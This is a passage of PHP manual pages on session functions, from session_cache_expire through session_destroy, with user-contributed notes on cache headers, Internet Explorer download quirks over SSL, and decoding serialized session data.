* In most case the WAP GateWay accepts cookies an the auto-transpass-SID is not necessary, its hard to find problems with this.
ricmarques at spamcop dot net
16-Oct-2000 08:16
Regarding session.cache_limiter :

For those of you who - like me - had trouble finding the meaning of the possible values (nocache, public and private), here's the explaination taken from the HTTP 1.1 Specification at
http://www.w3.org/Protocols/rfc2068/rfc2068

"14.9.1 What is Cachable

[snip]

public
  Indicates that the response is cachable by any cache, even if it would normally be non-cachable or cachable only within a non-shared cache. (See also Authorization, section 14.8, for additional details.)

private
  Indicates that all or part of the response message is intended for a  single user and MUST NOT be cached by a shared cache. This allows an origin server to state that the specified parts of the response are intended for only one user and are not a valid response for requests by other users. A private (non-shared) cache may cache the response.

  Note: This usage of the word private only controls where the response may be cached, and cannot ensure the privacy of the message content.

no-cache
  Indicates that all or part of the response message MUST NOT be cached anywhere. This allows an origin server to prevent caching even by caches that have been configured to return stale responses to client requests.

  Note: Most HTTP/1.0 caches will not recognize or obey this directive."
shanemayer42 at yahoo dot com
20-Aug-2000 10:11
Session Garbage Collection Observation:

It appears that session file garbage collection occurs AFTER the current session is loaded.

This means that:
even if session.gc_maxlifetime = 1 second,
if someone starts a session A and no one starts a session for an hour,  that person can reconnect to session A and all of their previous session values will be available (That is, session A will not be cleaned up even though it is older than gc_maxlifetime).
add a note add a note

后退 | 起点 | 前进
sesam_settransaction | 上一级 | session_cache_expire


session_cache_expire

(PHP 4 >= 4.2.0, PHP 5)

session_cache_expire -- Return current cache expire

Description

int session_cache_expire ( [int new_cache_expire] )

session_cache_expire() returns the current setting of session.cache_expire. The value returned should be read in minutes, defaults to 180. If new_cache_expire is given, the current cache expire is replaced with new_cache_expire.

The cache expire is reset to the default value of 180 stored in session.cache_limiter at request startup time. Thus, you need to call session_cache_expire() for every request (and before session_start() is called).

例子 1. session_cache_expire() example

<?php

/* set the cache limiter to 'private' */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

/* set the cache expire to 30 minutes */
session_cache_expire(30);
$cache_expire = session_cache_expire();

/* start the session */

session_start();

echo "The cache limiter is now set to $cache_limiter<br />";
echo "The cached session pages expire after $cache_expire minutes";
?>

注: Setting new_cache_expire is of value only, if session.cache_limiter is set to a value different from nocache.

See also the configuration settings session.cache_expire, session.cache_limiter and session_cache_limiter().

add a note add a note User Contributed Notes
lukasz at pilorz dot net
21-Nov-2005 09:49
I had a problem with session expiration time on a server where I didn't have access to php.ini. My solution was to use session_save_path with my own dir.
djmaze (AT) dragonflycms
23-Sep-2005 10:21
After recieving a "bogus" mark on a bug report i've tried to find out the differences between cache_expire and what was causing a session delete after 24 minutes.

cache_expire is used for cached session pages and has nothing to do with the session data

The garbage collector controls the session data and destroys sessions which are older then 1440 seconds (24 minutes) by default.

So to keep a session alive longer then 24 minutes (for example when a visitor tries to POST a huge message that took him 1 hour to type), you must modify the session.gc_maxlifetime thru ini_set()

Somehow i couldn't find anything in the PHP documentation regarding this and due to that me (and i think many others) got the wrong ideas regarding PHP sessions.
A few examples to fix session timeout are already posted below but in my opinion they all missed session.gc_maxlifetime
lance_rushing at hotmail dot com
18-Jun-2005 05:47
I've encountered the same problem of loosing focus when using IE and a javascript window.location.refresh/replace().

After fusing around I found that a <meta http-equiv="refresh" content="600"> works without move the focus on the parent frame's form.  The down side is loading up the browser history and an annoying 'click' in IE on the page load.
bermiferrer[at]akelos[NOSPAM]com
03-Jun-2004 04:11
Hello,
Some of my customers asked me for a solution form their session not to expire when filling large forms. Sometimes it takes them more than 2 hours to submit (phone, desk customers...).
I know I could have forced an ilayer to be refreshed dynamically and then include PHP code using session_cache_expire() function, but this refreshing a page changes the form focus. So I found this the only solution for them not to loose focus over their form element.

You can make a session not to expire by using this code.
Its a mixture of PHP and JavaScript and can be used on the same page were your code goes or it can be called using an ilayer/iframe from your page.

I know this is not the best practice, but in some cases were user has no control over server globals and security is not important this can help.

Here is the code.

<?

//First of all we prevent browsers from caching the image
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");

//This piece of code returns a blank gif
if($_GET[img] > 0){
   header('Content-Type: image/gif');
   header("Content-Disposition: inline; filename=".time().".gif");
   echo base64_decode(str_replace("\n","","
R0lGODlhAQABAPcAAAAAAAAAQAAAgAAA/
wAgAAAgQAAggAAg/wBAAABAQABAgABA/
wBgAABgQABggABg/wCAAACAQACAgACA/
wCgAACgQACggACg/wDAAADAQADAgADA/
wD/AAD/QAD/gAD//yAAACAAQCAAgCAA/
yAgACAgQCAggCAg/yBAACBAQCBAgCBA/
yBgACBgQCBggCBg/yCAACCAQCCAgCCA/
yCgACCgQCCggCCg/yDAACDAQCDAgCDA/
yD/ACD/QCD/gCD//0AAAEAAQEAAgEAA/
0AgAEAgQEAggEAg/0BAAEBAQEBAgEBA/
0BgAEBgQEBggEBg/0CAAECAQECAgECA/
0CgAECgQECggECg/0DAAEDAQEDAgEDA/
0D/AED/QED/gED//2AAAGAAQGAAgGAA/
2AgAGAgQGAggGAg/2BAAGBAQGBAgGBA/
2BgAGBgQGBggGBg/2CAAGCAQGCAgGCA/
2CgAGCgQGCggGCg/2DAAGDAQGDAgGDA/
2D/AGD/QGD/gGD//4AAAIAAQIAAgIAA/
4AgAIAgQIAggIAg/4BAAIBAQIBAgIBA/
4BgAIBgQIBggIBg/4CAAICAQICAgICA/
4CgAICgQICggICg/4DAAIDAQIDAgIDA/
4D/AID/QID/gID//6AAAKAAQKAAgKAA/
6AgAKAgQKAggKAg/6BAAKBAQKBAgKBA/
6BgAKBgQKBggKBg/6CAAKCAQKCAgKCA/
6CgAKCgQKCggKCg/6DAAKDAQKDAgKDA/
6D/AKD/QKD/gKD//8AAAMAAQMAAgMAA/
8AgAMAgQMAggMAg/8BAAMBAQMBAgMBA/
8BgAMBgQMBggMBg/8CAAMCAQMCAgMCA/
8CgAMCgQMCggMCg/8DAAMDAQMDAgMDA/
8D/AMD/QMD/gMD///8AAP8AQP8AgP8A/
/8gAP8gQP8ggP8g//9AAP9AQP9AgP9A/
/9gAP9gQP9ggP9g//+AAP+AQP+AgP+A/
/+gAP+gQP+ggP+g///AAP/AQP/AgP/A/
///AP//QP//gP///yH5BAEAAP8ALAAAA
AABAAEAAAgEAP8FBAA7"));
   exit;
}

?>

<!-- HERE YOU CAN INSERT THE HTML OR PHP CODE -->

<img name="keepUpdated" src="<?=$_SELF?>?img=999">
<script language="Javascript">
<!--
var updateEvery = 30;//Seconds
function keepUpdated() {
   timer=setTimeout("updateImage()",1000*updateEvery)
}
function updateImage() {
   var randNum = Math.floor(Math.random()*999);
   document.images.keepUpdated.src ="<?=$_SELF?>?img="+randNum;
   keepUpdated();
}
keepUpdated();
//-->
</script>

I hope this can be helpful for someone.

Bermi Ferrer
add a note add a note

后退 | 起点 | 前进
Session Handling Functions | 上一级 | session_cache_limiter


session_cache_limiter

(PHP 4 >= 4.0.3, PHP 5)

session_cache_limiter -- Get and/or set the current cache limiter

Description

string session_cache_limiter ( [string cache_limiter] )

session_cache_limiter() returns the name of the current cache limiter. If cache_limiter is specified, the name of the current cache limiter is changed to the new value.

The cache limiter defines which cache control HTTP headers are sent to the client. These headers determine the rules by which the page content may be cached by the client and intermediate proxies. Setting the cache limiter to nocache disallows any client/proxy caching. A value of public permits caching by proxies and the client, whereas private disallows caching by proxies and permits the client to cache the contents.

In private mode, the Expire header sent to the client may cause confusion for some browsers, including Mozilla. You can avoid this problem by using private_no_expire mode. The expire header is never sent to the client in this mode.

注: private_no_expire was added in PHP 4.2.0.

The cache limiter is reset to the default value stored in session.cache_limiter at request startup time. Thus, you need to call session_cache_limiter() for every request (and before session_start() is called).

例子 1. session_cache_limiter() example

<?php

/* set the cache limiter to 'private' */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

echo "The cache limiter is now set to $cache_limiter<br />";
?>

Also see the session.cache_limiter configuration directive.

add a note add a note User Contributed Notes
john
29-Mar-2006 12:36
In addition to the  above, don't forget to check the php.ini file for the setting:  session.cache_limiter = nocache

Since I use xoops and didn't start the session, I had the SSL/download problem until I noticed this.
19-Oct-2005 11:11
The onLoad method of Actionscript's loadVars class was returning false in IE6 using SSL until I set --> session_cache_limiter("must-revalidate"); <-- on the receiving PHP script.
radu dot rendec at ines dot ro
18-Oct-2005 07:41
I've read the other comments and done some "reasearch" on my own. Using php's session mechanism and explicitly setting the "cache-control" header should not be mixed.

When session_start() is called, the "cache-control" and "pragma" headers are automatically set by php (to whatever value had been specified using session_cache_limiter()).

Explicitly setting those headers _before_ session_start() will have no effect, and explicitly setting them _after_ session_start() will overwrite the settings from session_cache_limiter().

If I had to deal with php sessions, I'd go for using session_cache_limiter() and leaving the headers alone.
03-Sep-2005 06:04
Andrei Chirila, andrei_chirila at yahoo dot com
12-Jan-2005 09:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday

====

yes, somebody has needed this today :)

situation: trying to make a session based download management system complete with user login system that requries an authorized user to download some files, and hide all such files from non-authorized users. the user login, download center, and content management system of the site are all tied in to each other, making troubleshooting this headering stuff a headache.

problem: files being served are not accessible thru the regular site, since they are above the htdocs folder in apache, and so headering the file is required, and sessions do not work well with files being headered to the browser.

solution: the download center uses ob_start("");, then  session_cache_limiter("must-revalidate");, before the session_start();, then everything works well.

thank you very much! i was resorting to using a cookie to control this before because i could not figure out how to tie in sessions to the system before!
donovan at go4 dot com dot au
08-Aug-2005 09:41
IE6 'the file could not be written to the cache':

I tried all the other suggestions mentioned here but none of them worked.

I friend suggested header("Pragma: ");

This worked straight away!
snakes at ntica dot com
13-May-2005 05:28
Avoiding caching PHP pages:
After lot of tries and research this is the best combination of headers I've found that seems to work well even with the proxy of visitors that are using satellit connection.

<?
header("ETag: PUB" . time());
header("Last-Modified: " . gmdate("D, d M Y H:i:s", time()-10) . " GMT");
header("Expires: " . gmdate("D, d M Y H:i:s", time() + 5) . " GMT");
header("Pragma: no-cache");
header("Cache-Control: max-age=1, s-maxage=1, no-cache, must-revalidate");
session_cache_limiter("nocache");
?>
Andrei Chirila, andrei_chirila at yahoo dot com
12-Jan-2005 10:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday ...
justin at justintubbs dot com
08-Jan-2005 04:04
I have PHP 4.3 running on a Windows 2003 Server running IIS 6.0 also using SSL encryption for my pages.  I could not (for the life of me) figure out how to get IE 6.0/WinXPPro to recognize a set of HTML tables as an Excel spreadsheet export, and it was due to the header() variables I was using.  Hopefully these are helpful to others who are attempting the same type of export within PHP.

*This example builds on the previously submitted one, adding a few necessary headers.

<?php
   header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
   header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
   header("Pragma: public");
   header("Expires: 0");
   header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
   header("Cache-Control: public");
   header("Content-Description: File Transfer");

   session_cache_limiter("must-revalidate");
   header("Content-Type: application/vnd.ms-excel");
   header('Content-Disposition: attachment; filename="fileToExport.xls"');

   // and after you start the session
   session_start();
?>
pulstar at ig dot com dot br
25-Oct-2004 05:39
You can find more information about to control the cache in PHP at http://www.php.net/manual/en/function.header.php

If you have a dinamic website and want to allow your visitors to use the back button after they sent a form with the post method, the best combination I found was:

<?php

header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
session_cache_limiter("must-revalidate");

// and after you start the session
session_start();

?>

I try some combinations using header("Cache-Control: no-cache, must-revalidate"), but when clicking the back button, the last changes in the form back to their previous states. The combination above works fine with IE 6.x. I didn't test this with other browsers.

When I try something like session_cache_limiter("nocache, must-revalidate") it doesn't work. The page only updates when I used the browser's refresh button. In dynamic web sites this is not good. The content must be fresh after each click.

I didn't find these combinations like "private, must-revalidate" documented in the manual and I guess that something different from "none, nocache, private, public and private_no_expire" are resolved to "none" or something like that. One thing I notice is that in session_cache_limiter() it is "nocache", but in header() it is "no-cache". This may give us some clues about how session_cache_limiter() function works.

About caching, the perfect solution I think is to give the correct expiration date and time and also the right last-modified header for each element in the web site, when they are really updated. This means a lot of extra controls of course, but may worth in web sites with high overload.

The "public" option means that all available cache in proxies and clientes will be used, so this improves the speed of the web site and also reduces the used bandwidth. But without the right expiration and last-modified headers, you can use it only in static web sites.

The "private" option means that only the cache in clients will be used. This is good for a more sensitive data that can be stored locally in the browser cache. It have some benefits of the public option, but the same restrictions too.

The "nocache" (or no-cache?) option means that the HTML portion will not be cached, but the images, CSS and JS files will. This is good for dynamic websites because you still can use the power of cache without loose the refreshness after each click. These files can be updated when you open the web site or use the browser's refresh button.
I don't know why, but flash files are never updated when you click the refresh button. A common solution for this is to change the file name when you update the flash file.

The "no-store" option means that all the content will not be cached anyway, including images, CSS or JS files. I don't know if this applyes to flash files too, but is possible. This option must be used with very sensitive data. I think the SSL uses this by default.
misterp3d at hotmail dot com
19-May-2004 05:16
I had a problem using a FORM with POST method when user of my website was using the back button. The page requested a refresh to be able to see again the FORM.

To solve the problem I used :
<?php
session_cache_limiter('private, must-revalidate');
?>

*You need to write this line before any output

Hope that will help some of you ;)

[P]
usenet at phord splat com
26-Mar-2004 12:44
Hey!  NickyBoy was right!

I looked all over google and his note was the only place that had it right.  But, there's a caveat.

I wrote up my results here:
http://www.phord.com/experiment/cache/
richard at izyn dot co dot nz
02-Mar-2004 10:17
I found that session_cache_limiter("none") works for me when I create PDFs  on the fly because session_cache_limiter("private") causes the browser(IE6) to cache the PDF indefinitely.
Mikko Hmlinen
23-Jan-2004 01:10
I had a similair problem (browsers couldn't save files coming from my download-script). Only in my case the problem occured with IE 6.0 and Netscape 7.1. Adding the "session_cache_limiter('public');" before "session_start();" helped.
jthome at fcgov dot com
04-Dec-2003 08:36
In addition to the note above regarding SSL/IE bug/Sessions, also make sure you DO NOT SET THE HEADER 'Pragma: no-cache' if you are sending an inline document (e.g., PDF document).

For example:

<?php

       header("Content-Type: application/pdf");
       header("Content-Disposition: inline; filename=foo.pdf");
       header("Accept-Ranges: bytes");
       header("Content-Length: $len");
       header("Expires: 0");
       header("Cache-Control: private");
//        header("Pragma: no-cache");//don't send this header!!

?>

Best,

--
Jim
plyrvt at mail dot ru (Yura Pylypenko)
01-Aug-2003 05:33
Be careful using session_cache_limiter() with ob_start('ob_gzhandler')
If ob_start('ob_gzhandler') is called after session_cache_limiter() it seems to overwrite cache control headers with 'nocache' equivalent.
So always put ob_start first.
MerlinsInvite
24-May-2003 12:51
I solved the problem with pushing downloads to browser's, without needing to play with server/session parameters by using :
header("Content-Disposition: inline; filename=\"$filename\"");
for IE browsers and
header("Content-Disposition: attachment; filename=\"$filename\"");
for all other browsers.
nickyboy at 4ce.co.uk
11-Mar-2003 09:42
The problems people mention about IE are actually a feature!
Microsoft Knowledge Base Article 316431 says:

In order for Internet Explorer to open documents in Office (or any out-of-process, ActiveX document server), Internet Explorer must save the file to the local cache directory and ask the associated application to load the file by using IPersistFile::Load. If the file is not stored to disk, this operation fails.

When Internet Explorer communicates with a secure Web site through SSL, Internet Explorer enforces any no-cache request. If the header or headers are present, Internet Explorer does not cache the file. Consequently, Office cannot open the file.

They say this applies to:
Microsoft Internet Explorer 5.5 for Windows 2000
Microsoft Internet Explorer 5.01 for Windows 2000
Microsoft Internet Explorer version 6 for Windows 2000
not sure about other versions!

hth
nickyboy
mouly2 at yahoo dot com
20-Dec-2002 06:58
for more info about how caches work, and how to cache effectivelly scripted pages, check this :

http://www.mnot.net/cache_docs/
phobo at paradise.net.nz
13-Dec-2002 09:33
Please note that you DO NOT NEED to specify session_cache_limiter to get downloads work IMHO.

With IE6 (and others I imagine), you might have a problem with the filename attribute of Content-Disposition being recognised. In my experience, IE always believed the filename of the download was the name of the script (ie, the URL generating the file, rather than the header being pushed).

When adding: Header("Pragma: public");  this was solved.

E.g. (Working CSV / opens in Excel in Windows).

--

header("Cache-control: private");
header("Content-Type: text/plain");
header("Content-Disposition: attachment; filename=\"$filename\"");
header("Pragma: public");

echo "Dogs,Cats,Fish\n";
echo "1,2,3\n";
echo "4,5,6\n";

--
cj at NOSPAMceejayoz dot com
19-Jun-2002 02:41
Setting session.cache_limiter = none; in your php.ini file will avoid the problem in IE in which pressing the back button after using a POST form will result in "Warning: Page Has Expired".
chris at cwcomputerservices dot co dot uk
21-May-2002 02:40
IMPORTANT - READ THIS TO SAVE A LOT OF WASTED TIME

After spending a long time trying all the above solutions without success, I eventually found a more likely cause for these errors. There are problems with Apache/SSL and Internet Explorer with SSL connections - detailed information and a simple fix is here:

http://www.extremetech.com/article/0,3396,s=201&a=24899,00.asp

and here:

http://www.modssl.org/docs/2.8/ssl_faq.html#ToC49

So a simple web server reconfiguration may save you hours of fiddling with cache control headers!
roblugt at elcel dot com
10-Oct-2001 09:04
We had a strange problem with zip file downloads (not using SSL) under IE5.  If the user chose the option to "save to disk", then everything worked fine, but if they chose "open", then winzip was launched okay - but the displayed zip archive was empty.

We eventually tracked this down to the Cache-Control header and the php script was fixed by adding

 session_cache_limiter('public');

before the first call to session_register()
simon at ateb dot co dot uk
03-Mar-2001 02:49
There is a bug(?) in Internet Explorer v5.5 to do with file downloads over a secure (https) web connection when using sessions. If you have a php script which delivers files for downloading by setting headers for the content-type etc. from a URL like this:

getfile.php/filename.ext
- or -
getfile.php?file=/filename.ext

and that script uses sessions, then you must explicitly set

session_cache_limiter('public');

*before* you use
session_start();

otherwise you will get one of the following errors from IE when it attmpts to download the file:

Internet Explorer cannot download filename.ext from name.of.your.webserver
Internet Explorer was not able to open this site. The requested site is either unavailable or cannot be found. Please try again later.

Mmm, this is useful error message isn't it! The other error you will see when right clicking and choosing 'Save Target As...' gives the error

Internet Explorer cannot download filename.ext from name.of.your.webserver
The file could not be written to the cache.

This problem does not occur over unsecure (http) links and files download OK. I don't know why this should be the case, but PHP seems to send an extra no-cache header when using sessions which breaks IE when it is using SSL. Setting the session_cache_limiter turns off this behaviour.
add a note add a note

后退 | 起点 | 前进
session_cache_expire | 上一级 | session_commit


session_commit

(PHP 4 >= 4.3.11, PHP 5)

session_commit -- 别名 session_write_close()

说明

本函数是该函数的别名： session_write_close().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
session_cache_limiter | 上一级 | session_decode


session_decode

(PHP 4, PHP 5)

session_decode -- Decodes session data from a string

Description

bool session_decode ( string data )

session_decode() decodes the session data in data, setting variables stored in the session.

See also session_encode().

add a note add a note User Contributed Notes
nero321 at zmail dot sk
27-Jan-2006 09:01
Another solution for decoding session string to "$_SESSION"-like array:

<?php

// returns decoded string as arrays of variables
//  or false on error (when session_decode returns false)
function DecodeSession($sess_string)
{
   // save current session data
   //  and flush $_SESSION array
   $old = $_SESSION;
   $_SESSION = array();

   // try to decode passed string
   $ret = session_decode($sess_string);
   if (!$ret) {
       // if passed string is not session data,
       //  retrieve saved (old) session data
       //  and return false
       $_SESSION = array();
       $_SESSION = $old;

       return false;
   }

   // save decoded session data to sess_array
   //  and flush $_SESSION array
   $sess_array = $_SESSION;
   $_SESSION = array();

   // restore old session data
   $_SESSION = $old;

   // return decoded session data
   return $sess_array;
}

?>

Example of use:

<?php

$sarr = DecodeSession($sess_str);
print_r($sarr);

?>

But I have not tested performance.
erwinmoller at xs4all dot nl
18-Oct-2005 10:25
The regExp-method describe earlier doesn't work under all conditions.

If I feed this:
voornaam|s:8:"Ai|;\'\"";achternaam|s:6:"werrwe";leeftijd|i:44;

I get this:
array(4) {
  ["voornaam"]=>
  bool(false)
  ["Ai"]=>
  bool(false)
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

while I expected:
array(3) {
  ["voornaam"]=>
  string(8) "Ai|;\'\""
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

I think the | is messing things up. :-/
bmorel at ssi dot fr
24-Aug-2005 03:54
Here is a function that returns decoded session data, that seems to work in every cases, even when strings contain reserved chars :

<?php
define('PS_DELIMITER', '|');
define('PS_UNDEF_MARKER', '!');

function session_real_decode($str)
{
   $str = (string)$str;

   $endptr = strlen($str);
   $p = 0;

   $serialized = '';
   $items = 0;
   $level = 0;

   while ($p < $endptr) {
       $q = $p;
       while ($str[$q] != PS_DELIMITER)
           if (++$q >= $endptr) break 2;

       if ($str[$p] == PS_UNDEF_MARKER) {
           $p++;
           $has_value = false;
       } else {
           $has_value = true;
       }

       $name = substr($str, $p, $q - $p);
       $q++;

       $serialized .= 's:' . strlen($name) . ':"' . $name . '";';

       if ($has_value) {
           for (;;) {
               $p = $q;
               switch ($str[$q]) {
                   case 'N': /* null */
                   case 'b': /* boolean */
                   case 'i': /* integer */
                   case 'd': /* decimal */
                       do $q++;
                       while ( ($q < $endptr) && ($str[$q] != ';') );
                       $q++;
                       $serialized .= substr($str, $p, $q - $p);
                       if ($level == 0) break 2;
                       break;
                   case 'R': /* reference  */
                       $q+= 2;
                       for ($id = ''; ($q < $endptr) && ($str[$q] != ';'); $q++) $id .= $str[$q];
                       $q++;
                       $serialized .= 'R:' . ($id + 1) . ';'; /* increment pointer because of outer array */
                       if ($level == 0) break 2;
                       break;
                   case 's': /* string */
                       $q+=2;
                       for ($length=''; ($q < $endptr) && ($str[$q] != ':'); $q++) $length .= $str[$q];
                       $q+=2;
                       $q+= (int)$length + 2;
                       $serialized .= substr($str, $p, $q - $p);
                       if ($level == 0) break 2;
                       break;
                   case 'a': /* array */
                   case 'O': /* object */
                       do $q++;
                       while ( ($q < $endptr) && ($str[$q] != '{') );
                       $q++;
                       $level++;
                       $serialized .= substr($str, $p, $q - $p);
                       break;
                   case '}': /* end of array|object */
                       $q++;
                       $serialized .= substr($str, $p, $q - $p);
                       if (--$level == 0) break 2;
                       break;
                   default:
                       return false;
               }
           }
       } else {
           $serialized .= 'N;';
           $q+= 2;
       }
       $items++;
       $p = $q;
   }
   return @unserialize( 'a:' . $items . ':{' . $serialized . '}' );
}
?>

Please let met know if you find any bug.
brett at brettbrewer dot com
30-Jul-2005 02:25
I have made a minor change to fabrizio's (et all) version of the unserializesession function because it was choking on underscores in my variable names.  Here is the correct version which should account for ALL possible PHP variable names:

function unserializesession($data) {
   $vars=preg_split(
             '/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\|/',
             $data,-1,PREG_SPLIT_NO_EMPTY |
             PREG_SPLIT_DELIM_CAPTURE
             );
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

Please note that I had to split the preg_split function call above into 4 lines due to the limitations of this forum. This version changes the regex used to find variable names so that it complies with the specs for  variable names as specified in the PHP manual at http://us3.php.net/manual/en/language.variables.php. I just took the regex directly from the PHP manual pages where they give the regex equivalent for a valid variable name as:

[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

Anyway, this seems to work great for me now, even on gigantic strings of encoded session data.
vesely at tana dot it
26-May-2005 06:25
When using this function to manage sessions, it is MUCH
better to have register_globals turned off. Then one can
examine the session content given its id.

<?php
   $fname = session_save_path() . "/sess_" . $the_sid;
   if (session_decode(file_get_contents($fname)))
   {
     $vars = $_SESSION;
     $_SESSION = array();

     // examine $vars...
   }
?>

Depending on PHP version, you may need to have a dummy
session started for the code above to work. I reset the
$_SESSION immediately in order to avoid writing the
dummy session: that's needed while testing the code!
fabrizio dot messina at gmail dot com
16-May-2005 09:40
this function _really_ split and decode session data:

function unserializesession($data) {
   $vars=preg_split('/([a-zA-Z0-9]+)\|/',$data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

the difference from previously posted 'unserializesession' function is the regular expression inside function preg_split ('[a-zA-Z0-9]+' vs  '[a-z,A-Z]+' )
Sasha Rudenko
16-May-2005 03:25
Here is fixed function which was described here

function unserializesession($data) {
   $vars=preg_split('/([a-z_,A-Z_]+)\|/',$data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

I've just fix regexp, it doesn't handle names with _ (underline) sign.
But anyway, thanks for author, this function was very useful for me :)
luc at lucje dot nl
30-Sep-2004 04:39
This function decodes sessiondata:

function unserializesession($data) {
   $vars=preg_split('/([a-z,A-Z]+)\|/',$data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

(there was a line left from previous code in my earlier post!)
luc at lucje dot removethisforspamplease dot nl
30-Sep-2004 03:37
I also wanted to read stores PHP sessions.
Here's my code:

function unserializesession($data) {
   $vars=preg_split('/([a-z,A-Z]+)\|/',$data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

// this is just for the example
$session='/tmp/sess_'.$PHPSESSID;
// Why isn't there a sfile() function that returns a file as a string?
$h=fopen($session,'r');
$data=fread($h,filesize($h));
fclose($h);

$data=unserializesession($data);

Voila. It does the trick for me :-)
sco at postmaster dot co dot uk
04-Jun-2004 10:52
If you're trying to access your session data from outside the regular php session functions, you might want to use WDDX as your serializer, as opposed to the normal php serializer. When your data is serialized as XML, obviously it's easy to unserialize as you please.

WDDX seems to be a little slower, and the text string it creates is much bigger than that created by the normal php serializer, but it provides the functionality with minimal hassle.

Donal
forum at orthanc dot co dot nz
02-Apr-2004 04:26
Becarful using this if you are trying to switch out of an existing session rather than load one into a clean slate.

session_decode doesn't destroy the existing session data, it will over write it if there is a session variable of the same name, but if the names don't clash the existing session variables will hang around.

I have yet to find a better solution than

session_destroy()
session_start()
session_decode(....);

-----------------------------------------
To explain what I'm talking about

<?
   session_start();
   $a = 5;
   session_register('a');
   session_decode("<session that doesn't have a as a session variable>");
   print (session_is_registered('a') ? $a : 'Not Registered' );
?>

The above code will print '5' as $a hasn't been destroyed or even unregistered by the session_decode
ned at wgtech dot com
03-Mar-2004 06:42
If you expected this function to return an array you are out of luck. This loads the session string into the current session. This sucks if you are doing something like managing sessions via some other function via session_set_save_handler(). I wanted to create an admin module that allowed the administration to browse the current sessions. Well, that session string is UGLY, and session_decode is utterly useless for this.

Either way here is a beasty pair of functions that returns an array that looks like $_SESSION would if you were to use session_decode. It should handle most everything, including arrays of any dimention (including arrays of arrays of arrays etc).

Call the function decodesession() and pass in the session string (the one created by session_encode). The second function, decodesessionarray(), should not be called directly. It handles decoding arrays, if any, in the string, and is recursive (it calls itself if an array stores an array).

It may not be pretty, but it works nicely.

Let me know if you use it or have any thoughts about this. It would be nice to know someone got some use out of this code!

NOTE: The code is to big to add here. To see it go to:

http://www.evilwalrus.com/viewcode.php?codeEx=553
njail
13-Dec-2003 04:28
<?PHP
// Get Session Content
$varsess = Array('SESSION');
for ($i = 0; $i < sizeof($varsess); $i++)
{
  if (is_array(${"_{$varsess[$i]}"}))
  {
   foreach (${"_{$varsess[$i]}"} as $var=>$val)
   {
   $$var = $val;
   // print "Var :".$var." -- Value :".$val."\n<br>";
   }
  }
  unset(${"_{$varsess[$i]}"});
}
?>
petej*shaman_ca
21-Aug-2003 04:44
Seems like there was a change in the behavior of this function somewhere between 4.1.2 and 4.3.3.  In 4.1.2 session_decode() didn't care whether the session was started, and would just decode the string into the _SESSION array.  In my 4.3.3 install, session_decode() wouldn't work unless I explicitly started the session with session_start().
add a note add a note

后退 | 起点 | 前进
session_commit | 上一级 | session_destroy


session_destroy

(PHP 4, PHP 5)

session_destroy -- Destroys all data registered to a session

Description

bool session_destroy ( void )

session_destroy() destroys all of the data associated with the current session. It does not unset any of the global variables associated with the session, or unset the session cookie.

In order to kill the session altogether, like to log the user out, the session id must also be unset. If a cookie is used to propagate the session id (default behavior), then the session cookie must be deleted. setcookie() may be used for that.

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. Destroying a session with $_SESSION

<?php
// Initialize the session.
// If you are using session_name("something"), don't forget it now!
session_start();

// Unset all of the session variables.
$_SESSION = array();

// If it's desired to kill the session, also delete the session cookie.
// Note: This will destroy the session, and not just the session data!
if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time()-42000, '/');
}

// Finally, destroy the session.
session_destroy();
?>

注: Only use session_unset() for older deprecated code that does not use $_SESSION.

See also unset() and setcookie().

add a note add a note User Contributed Notes
webmaster [at] darkstarlings [dot] com
01-Mar-2006 04:46
In response to the difficulties that some are having with fully destroying a session (especially with session files remaining on the server) I find that this usually happens when the user is not sent to a "dead" page after the session is destroyed.

Just like any other cookie, changes to a session cookie won't take place immediately on the page at which the command is issued.

Try:

session_start();
session_destroy();
print "You have been logged out.";

At this point, the user's session file should have been cleared off of the server.  The only way the session id might then be reused (causing the session file to reappear) is if the user's browser remains open and they initiate a request that calls session_start again.  Since the browser will still have the session id cached, PHP may use the same id again and basically re-create the session file.  This behavior is fine as long as you understand it.

This is the behavior I have observed and tested using PHP 4.4.2 and RHEL 4.

This might sound too simple to be your problem, but give it a try.  If you're having to go through step after step to kill off stubborn sessions, this is probably why.
markus at fischer dot name
16-Mar-2005 05:09
